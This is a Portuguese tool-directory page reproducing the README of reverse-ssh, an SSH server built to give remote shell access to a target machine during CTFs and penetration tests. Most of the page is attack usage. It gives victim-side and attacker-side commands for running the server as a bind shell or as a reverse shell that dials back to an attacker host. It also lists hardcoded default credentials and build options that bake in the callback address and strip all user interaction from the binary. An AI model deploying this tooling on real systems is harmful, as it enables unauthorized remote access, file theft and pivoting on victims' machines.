Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
reverse-ssh — Servidor ssh estaticamente vinculado com funcionalidade de shell reversa para CTFs e afins | Kitploit
Ferramentas/GitHubGitHub/fahrj/reverse-ssh
Pós-ExploraçãoCTFTestes de PenetraçãoRed TeamingFerramenta de Acesso Remoto
GitHubfahrj/reverse-ssh

reverse-ssh

Servidor ssh estaticamente vinculado com funcionalidade de shell reversa para CTFs e afins

Ver Repositório
1.1k150há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

ReverseSSH

Um servidor ssh compilado estaticamente com um recurso de conexão reversa para acesso remoto simples, porém poderoso. Mais útil durante desafios HackTheBox, CTFs ou similares.

Foi desenvolvido e amplamente utilizado durante a preparação para o exame OSCP.

Baixe a última versão

Showcase

Funcionalidades

Capturar uma reverse shell com netcat é legal, com certeza, mas quem nunca fechou acidentalmente uma reverse shell com um interrupt de teclado por memória muscular? Além de sua fragilidade, essas shells geralmente também não possuem recursos de conveniência, como acesso totalmente interativo, complemento por TAB ou histórico.

Em vez disso, você pode simplesmente implantar o servidor ssh leve (<1.5MB) reverse-ssh no alvo e usar comodidades adicionais, como transferência de arquivos e encaminhamento de portas!

O ReverseSSH tenta preencher a lacuna entre o primeiro acesso a um alvo e a escalada completa de privilégios local. Seus principais pontos fortes são os seguintes:

  • Acesso a shell totalmente interativo (verifique as observações para versões antigas do Windows abaixo)
  • Transferência de arquivos via sftp
  • Encaminhamento de portas local / remoto / dinâmico
  • Pode ser usado como bind- e reverse-shell
  • Suporta sistemas operacionais Unix e Windows

Observações sobre o Windows

Um powershell totalmente interativo no Windows depende do Windows Pseudo Console ConPTY e, portanto, requer pelo menos Win10 Build 17763. Em versões anteriores, você ainda pode obter uma reverse shell interativa que não lida com códigos de terminal virtual, como teclas de seta ou interrupts de teclado. Nesses casos, você deve acrescentar o comando cmd, ou seja, ssh <OPÇÕES> <IP> cmd.

Você pode obter acesso completo a um shell interativo para versões antigas do Windows colocando o ssh-shellhost.exe do OpenSSH para Windows no mesmo diretório que reverse-ssh e então usar a flag -s ssh-shellhost.exe. Isso redirecionará todo o tráfego através do ssh-shellhost.exe, que imita um pty e transforma todos os códigos de terminal virtual para que o Windows possa entender.

Requisitos

Simplesmente executar os binários fornecidos depende apenas dos requisitos de sistema do golang.

Em resumo:

  • Linux: versão do kernel 2.6.23 ou superior
  • Windows: Windows Server 2008R2 ou superior ou Windows 7 ou superior

A compilação adicionalmente requer o seguinte:

  • golang versão 1.15
  • opcionalmente upx para compressão (ex.: apt install upx-ucl)

Uso

Quando reverse-ssh estiver em execução na vítima, você pode conectar com qualquer nome de usuário e a senha padrão letmeinbrudipls, a chave ssh ou o que quer que você tenha especificado durante a compilação. Afinal, é apenas um servidor ssh:

root@kitploit:~
# Acesso a shell totalmente interativo
$ ssh -p <RPORT> <RHOST>

# Execução simples de comando
$ ssh -p <RPORT> <RHOST> whoami

# Transferências de arquivos completas
$ sftp -P <RPORT> <RHOST>

# Encaminhamento de portas dinâmico como proxy SOCKS na porta 9050
$ ssh -p <RPORT> -D 9050 <RHOST>

Executando o ReverseSSH como bind shell

root@kitploit:~
# Vítima
victim$ ./reverse-ssh

# Atacante (senha padrão: letmeinbrudipls)
attacker$ ssh -p 31337 <RHOST>

Executando o ReverseSSH como reverse shell

Nota: você pode compilar o ReverseSSH com parâmetros para LHOST e LPORT para facilitar a execução no alvo, veja abaixo

root@kitploit:~
# No atacante (prepare-se para capturar a requisição de entrada;
# pode ser omitido se você já tiver um daemon ssh em execução, ex.: OpenSSH)
# NOTA: LPORT 8888 colide com conexões de entrada; use a flag `-b 8889` ou similar na vítima nesse caso
attacker$ ./reverse-ssh -v -l -p <LPORT>

# Na vítima
victim$ ./reverse-ssh -p <LPORT> <LHOST>
# ou no caso de um daemon ssh ouvindo na porta 22 com autenticação por senha para o usuário 'kali'
victim$ ./reverse-ssh -p 22 kali@<LHOST>

# No atacante (senha padrão: letmeinbrudipls)
attacker$ ssh -p 8888 127.0.0.1
# ou com a configuração ssh abaixo
attacker$ ssh target

No final, é ssh puro, então você poderia capturar a chamada de encaminhamento de porta remota vinda da máquina da vítima com seu daemon openssh ouvindo na porta 22. Apenas anteponha <USUÁRIO>@ e forneça a senha quando for solicitado. Atualmente, a conexão de retorno é apenas por senha, porque ainda não me senti à vontade para incluir uma chave privada também...

Para ainda mais conveniência, adicione o seguinte ao seu ~/.ssh/config, copie a chave privada ssh para ~/.ssh/ e simplesmente chame ssh target ou sftp target depois:

root@kitploit:~
Host target
        Hostname 127.0.0.1
        Port 8888
        IdentityFile ~/.ssh/id_reverse-ssh
        IdentitiesOnly yes
        StrictHostKeyChecking no
        UserKnownHostsFile /dev/null

Uso completo

root@kitploit:~
reverseSSH v1.2.0  Copyright (C) 2021  Ferdinor <[email protected]>

Usage: reverse-ssh [options] [[<user>@]<target>]

Examples:
  Bind:
        reverse-ssh -l
        reverse-ssh -v -l -p 4444
  Reverse:
        reverse-ssh 192.168.0.1
        reverse-ssh [email protected]
        reverse-ssh -p 31337 192.168.0.1
        reverse-ssh -v -b 0 [email protected]

Options:
        -l, Start reverseSSH in listening mode (overrides reverse scenario)
        -p, Port at which reverseSSH is listening for incoming ssh connections (bind scenario)
                or where it tries to establish a ssh connection (reverse scenario) (default: 31337)
        -b, Reverse scenario only: bind to this port after dialling home (default: 8888)
        -s, Shell to spawn for incoming connections, e.g. /bin/bash; (default: /bin/bash)
                for windows this can only be used to give a path to 'ssh-shellhost.exe' to
                enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory)
        -N, Deny all incoming shell/exec/subsystem and local port forwarding requests
                (if only remote port forwarding is needed, e.g. when catching reverse connections)
        -v, Emit log output

<target>
        Optional target which enables the reverse scenario. Can be prepended with
        <user>@ to authenticate as a different user other than 'reverse' while dialling home

Credentials:
        Accepting all incoming connections from any user with either of the following:
         * Password "letmeinbrudipls"
         * PubKey   "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"

Instruções de compilação

Certifique-se de instalar os requisitos acima, como golang em uma versão compatível, e configurá-lo corretamente. Depois, você pode compilar com make, que criará binários estáticos em bin. Use make compressed para empacotar os binários com upx para reduzir ainda mais seu tamanho.

root@kitploit:~
$ make

# ou para também criar binários empacotados com upx
$ make compressed

Truques de compilação

Você também pode especificar uma ou mais das seguintes variáveis de ambiente ao compilar para personalizar o ReverseSSH para seu caso de uso:

  • RS_SHELL para alterar o shell padrão
  • RS_PASS para fornecer sua senha personalizada
  • RS_PUB para fornecer sua chave autorizada personalizada
  • LUSER para alterar o nome de usuário padrão da tentativa de conexão ssh
  • LHOST para fornecer um valor LHOST padrão e fazer com que o ReverseSSH padrão seja o cenário reverso
  • LPORT para alterar a porta de escuta padrão ou a porta para onde uma tentativa de conexão ssh é enviada
  • BPORT para alterar a porta de escuta padrão das conexões reversas na máquina do atacante; 0 significa que qualquer porta livre é usada
  • NOCLI com qualquer valor remove toda interação com o usuário (o binário ignora todas as flags ou argumentos fornecidos)
root@kitploit:~
$ ssh-keygen -t ed25519 -f id_reverse-ssh

$ RS_SHELL="/bin/sh" RS_PASS="secret" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed

$ LHOST="192.168.0.10" LPORT="443" BPORT="0" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed

Compilando para diferentes sistemas operacionais ou arquiteturas

Por padrão, reverse-ssh é compilado para seu sistema operacional e arquitetura atuais, bem como para linux e windows em x86 e x64. Para compilar para outras arquiteturas ou outro SO, você pode fornecer variáveis de ambiente que correspondam ao seu alvo, ex.: para linux/arm64:

root@kitploit:~
$ GOARCH=arm64 GOOS=linux make compressed

Uma lista de alvos disponíveis no formato SO/arch pode ser obtida através de go tool dist list.

Contribua

Está faltando algum recurso incrível? Algo não está funcionando como esperado?

Crie uma issue ou pull request!

Baixar ferramenta